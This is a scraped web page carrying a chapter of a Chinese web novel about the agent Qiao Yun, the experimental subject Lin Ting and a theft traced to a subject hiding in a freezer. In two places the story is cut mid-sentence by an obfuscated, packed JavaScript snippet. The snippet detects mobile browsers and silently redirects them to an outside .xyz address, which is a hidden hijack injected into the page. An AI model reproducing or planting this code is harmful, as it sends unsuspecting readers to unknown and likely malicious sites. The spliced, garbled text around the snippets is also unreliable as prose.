可他偏不点破,只淡淡地抛出一句埋怨,委屈得恰到好处,再辅以一句意味不明的“姐姐”,让乔韫猛然觉得,自己好像那种始乱终弃的负心汉。 ……她好像还真是。 林听这股小绿茶的劲儿,乔韫的确早有领会。 可问题是,林听从没表现得这么明显过,就像……从贤淑端庄的皇后,一下子成了祸国殃民的妖妃。 乔韫啊乔韫,你到底在想些什么! 乔韫回过神,忍不住在心底大骂起自己。 在办正事呢,哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506336|186069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有时间供你神游! 思忖着,她抬眼看了一眼林听。 林听睫毛簌簌颤动着,实在我见犹怜。 唉,美色误人。 乔韫不自然地轻咳几声,拉开林听面前的椅子,坐了下去: “事务繁忙,见谅。” 林听没有追问,轻轻“嗯”了一声。 这叫乔韫更加不自在了:“我上次来,是为公务——当然,这次也是。” “哦。” “……咳,你还需要做几次评测,才能正常出任务?” 乔韫一时间拿不准林听的主意了。 换做从前,林听既不欺她,也不瞒她,有事说事,指哪儿打哪儿,一度让乔韫以为,林听就是个毫无心计的小白花。 可现在,乔韫不仅没办法确认林听的想法,甚至连林听是否怨恨自己都未曾得知。 这让乔韫心慌,竟不知该以什么身份面对林听了。 于是她索性把一切话题都集中在工作上。 “江城子说,还有四次。” “一直都是他亲自评测吗?” “嗯。” “他没为难你吧?” 林听顿了顿,垂下眼帘:“没。” 随即,像是为了增添这句话的可信度,他又补充道:“江城子……其实挺公私分明的。” 乔韫蹙了下眉。 “公私分明”,这是她回来以后,第二次听到这个词了。 而第一次,是在小莫嘴里听到的。 这样说来,组里唯一不“公私分明”的,似乎就只有她乔韫了。 她不由自主地如此自嘲道。 “我会跟江城子说,你可以提前通过评测。” 林听的眼睛睁大了一瞬,但随即又被他压回原来的状态。 “为什么?” “你以后总归是替我办事,我相信你对我的忠心。” “你……” “对不起。”在林听开口之际,乔韫打断了他,“我为我先前所做的一切,向你道歉。” “没事的,我能理解。” 林听的回复比乔韫想象的要迅速很多,也平静很多。 这让乔韫悬着的心更加岌岌可危。 “我一直都在想,如果姐姐只是在骗我,如果这一切都只是假象、是我痴心妄想的一场梦,该怎么办。”林听缓缓道,“答案是:不怎么办。” “嗯?” “不管是你,还是我,都从小在谛听长大,这是个吃人的地方,你为了活命,对我做出什么,我不会意外,也……不会怨恨。 “或许,在很久以前,在我们第一次见面的时候,我就原谅了你现在所做的一切。” “你的意思是,我们现在两清了?” 乔韫犹豫许久,才问出这样一句话。 “……两清?” 林听心下一沉,仅仅两个字,却让他声音有些飘。 “姐姐要和我两清吗?” 他终于抬眼看向乔韫,眼尾似乎又泛起了红。 乔韫被他这副神情扰得分了神,喃喃道: “当然不。” 她避开林听的目光:“至少……我还有任务要交代给你。” 林听依然死死盯着乔韫,见乔韫面上神色不改,便轻轻叹了口气,移开目光,也学着她的样子,降低声线: “那的确……很好,再好不过了。” 40. 失窃 乔韫的本能告诉她:林听话里有话。 可当她以疑惑的目光投向林听时,却只见到他一双温顺的眼睛,人畜无害。 她想开口说些什么,却始终说不出口。 原来问心有愧是这种感觉。 乔韫最终抱着沉默离开了实验屋。 她一回到办公室,便着手于释放林听的程序中。 谛听各组势力互相牵制,不仅各组长间权限不互通,连各组长手下的分组,也自有其独立的权限,以此牵制组长权力过盛,只手遮天。 所以,哪怕乔韫当上了组长,该有的程序还是一个都不能少的。 等这套流程走完,时间又过去两天。 林听的释放令刚执行,乔韫便命其来到了自己的办公室。 他这回出现在乔韫面前,终于不再需要赤裸上身,而是穿上了统一的白色实验服。 见到林听这幅装束,乔韫究竟莫名觉得合适。 似乎在刚认识林听那会儿,乔韫就一心认定,这人适合穿白色,只是时间紧迫,她便一直没有机会为林听准备一套白色的衣服。 说起来,这算是乔韫第二次见他穿白衣服。 ——第一次,则是在许多年前,她早已记不清了。 实验服制式简单,没有做修身的版型,像一块布,随意剪几个破洞,便成了衣服。 按理说,这样一件衣服,换谁来穿都不会好看,可奇怪的是,林听穿这件衣服就很好看,颇有几分日式风范。 他站在那里,白衣为他的脸打上一层薄薄的柔光,将林听原本柔和的眉眼衬出几分圣洁的媚色。 乔韫如此打量他许久,一时竟忘了说话。 林听无法忽视掉乔韫这股赤裸裸的目光,于是他稍稍侧身,让办公室的灯光打在他侧脸上。 嗯,这样更好看。 在一阵漫长的沉默后,乔韫终于回神。 她揉了揉太阳穴,暗忖自己最近果然太劳累,竟然开始随时随地发呆了……这狗屁组长,谁爱当谁当,反正她不想再当了! 林听见她露出疲色,径自上前,绕到乔韫办公椅后,将她抚在额边的手轻轻摁下,转而用自己的指腹覆上,为她按摩。 好凉。 乔韫的手腕被林听圈住时,她脑中突然冒出这样一个想法。 林听的指尖触及她脉搏时,传来的温度是凉的。 乔韫瞥了眼窗外。 树叶枯黄,已然入秋。 基地虽配备了暖气,但在这个时节,依然靠空调维持温度,制暖效果有限,行走其中,难免有些寒意。 她用手指捏了捏自己的风衣袖口,终于开口: “你冷吗?” “不冷,”林听回道,“我感觉不到冷热,身体也不会因外界温度的变化受损——姐姐是觉得我的手太凉了吗?” “是有点。” 话刚出口,乔韫便感到有些后悔。 因为林听的手指,在听到她的回答后,立即离开了乔韫的皮肤。 “抱歉……是我考虑不周。” 这倒让乔韫不知该如何反应了。 总不好说“你没有考虑不周,我挺喜欢你给我按摩的,所以继续按”吧? 简直像个万恶资本家。 不可、不可。 于是乔韫略显心虚地将手虚握成拳,放在嘴边,轻咳一声: “没事,叫你来也不是干这事的——你先坐。” 说着,乔韫也从办公椅上起身,坐到了沙发上。 林听见状,便也坐下了。 但并不是坐在乔韫对面,而是坐在了她身侧。 乔韫:“……你坐这里吗?” “我不该坐这里吗?” “倒也不是不行。” 但……这个沙发本就是乔韫的专座,是个宽敞的单人沙发,虽然的确能坐下两人,可两人并坐,难免会出现些肢体碰撞。 他俩的距离属实有些近了。 林听像是根本没意识到自己的不妥似的,睁着一双水汪汪的眼睛,看向乔韫,眉头轻蹙,仿佛真在为乔韫的疑问自责。 乔韫可不信他。 她根本不信,林听的礼仪课成绩能比她还差。 所以,他这样做,只有一个可能。 ——林听是个不折不扣的绿茶,想讨好乔韫。 偏偏乔韫还就吃这招。 坏消息:她和林听现在的状态很微妙。 好消息:林听变得更黏人了。 乔韫在心里默默叹了口气,调整状态,说起正事来: “我叫你来,是因为……” 话说一半,乔韫停住了。 她的手机振动起来,就在她大衣侧兜。 乔韫稍稍侧身,伸手掏兜,身体自然而然地往林听靠拢。 林听便趁这机会,偷偷闻了闻乔韫的头发。 果然好香。 来电显示上赫然是陈放的名字。 乔韫连忙接通:“喂?怎么……” “出大事了乔韫!我东西被偷了!!!” 声音之洪亮,语气之绝望,连旁边的林听都听得一清二楚。 乔韫自然知道,陈放说自己“东西被偷”,必然不是些扳手、耳机之类的私有小玩意儿——他和乔韫倒没亲密到这种程度,更大的可能是:制作炸弹的材料或工具失窃了。 这显然不是小事。 陈放现在待在乔韫家里,而乔韫那套房子更是许久没有住人,此时溜进来的“小偷”,必不会是寻常小偷。 而很有可能是江城子的人。 如果真是这样,那乔韫的麻烦可就大了。 她立马应声:“我知道了,你在家等我,我马上过去。” “欸,好,你快点儿啊,我都不确定自己会不会被盯上,你说,要是你一开门,看见一具尸体……” 乔韫挂断了电话。 留陈放一人在电话另一头对着空气哭诉。 “陈放也来临昌了?” 乔韫刚抬眸,便撞上林听探寻的目光。 她起身,理了理衣服:“是。你现在……算了,你跟我走。” 乔韫单枪匹马,还真不太敢回去,带上林听,好歹也算多个战力。 虽然…… “那这个?”林听指了指自己脖子上的抑制环。 虽然,抑制环依然在工作,削去了林听的大部分战斗能力,让他成了一个体能不错的普通人。 是的,体能不错,但归根结底也只是普通人。 “我没有钥匙,这东西是归小莫负责的,如果我要用,得提前审批,怎么也得小半天才能批下来。” “你是组长,不能加急吗?” “话是这么说……”乔韫的眼神有一瞬闪躲,“我如果现在找小莫要抑制环钥匙,实在没有个正当的理由。” 林听了然:“所以,陈放是你叫来的‘外援’?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506337|186069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “姑且能这么理解。等到了那边,我会告诉你的。” “好。” 乔韫将DT3V谨慎地停在了另一条街边,领着林听,快步朝家走去。 刚一进门,一柄枪便抬了起来,直指乔韫脑门。 林听率先反应过来,将乔韫拉到身后,一记手刀,打中对方小臂,手枪应势而落。 “啊!痛痛痛痛痛……” 乔韫这才看清对方的真面目:“陈放?你拿枪指我是什么意思?” “我这不是怕江城子的人又来袭击嘛!” 陈放一边捡起枪,揣进枪袋,皱着眉头,开始揉自己的小臂。 “又是你啊,小老弟,上次拆我家,这次打我手,你可真是……好样的。” 林听将头一转,装没听见。 陈放哪受得了这委屈,当即就要发作,却被乔韫率先拦下: “好了好了,有什么事以后再说,先进屋。” 二人这才作罢,一前一后,走进屋内。 乔韫关上了门。 “丢什么了?” 陈放的表情终于严肃起来: “电路试验板。在组装和测试阶段,通常会在试验板上插接电阻、电容和电线,临时搭建起电路的原型。”* “也就是说,把它偷走的人可以通过这块试验板,制作出——或者至少了解到——你着手制作的弓丨火暴系统,对吗?” “是。” 乔韫的眉头蹙得更深了。 “你上次用它,是什么时候?” “大概……两三天前吧。” 两三天前? 乔韫顿时警觉起来。 那时候,她带着五号,去见了莫仪君。 而五号,的确在那天出现了异常沉睡状况。 “你那两天出过门吗?” “你又不是不知道我的,平生最大的爱好就是宅在家里,大门不出二门不迈……啊!不对,那天——前天,我点了个外卖,外卖员打电话说找不到地方要我去小区门口接,我就出去了一会儿。然后……我似乎还,下楼扔过垃圾。” 一时间,几人陷入了短暂的沉默。 陈放率先反驳了自己:“不应该啊,就那么一会儿,能溜进来?就算溜进来了,能出得去?你这房子又不大,怎么都能撞上我吧?” 乔韫没有接话,目光扫视过全屋,最终停留在冰箱上。 她不顾二人疑惑的目光,走向冰箱,打开了冷冻层。 ——空的。 连隔板也没有。 “是五号。” 乔韫立即笃定道。 “你咋猜到的?” “你这段时间,一直都在吃外卖,对吗?” 乔韫看向陈放。 陈放有些不好意思地挠了挠脸:“我又不会做饭,当然吃外卖……” “所以,冰箱一直都没人用,哪怕里面的隔板被扔掉,也没人能发现。” “你的意思是,五号在我拿外卖的时候进来,然后偷了我的东西,看我快回来了,就躲进了冰柜里?但那可是冷冻层,我扔垃圾的时间距我回来,怎么也有四五个小时,她不会冻死吗?” “不会。”一直沉默的林听在此时开口,“实验体不怕冷。” “所以,”乔韫就着林听的话头,继续为陈放解释道: “五号,动作轻、御寒能力强,完全可以做到你所说的那一系列动作。”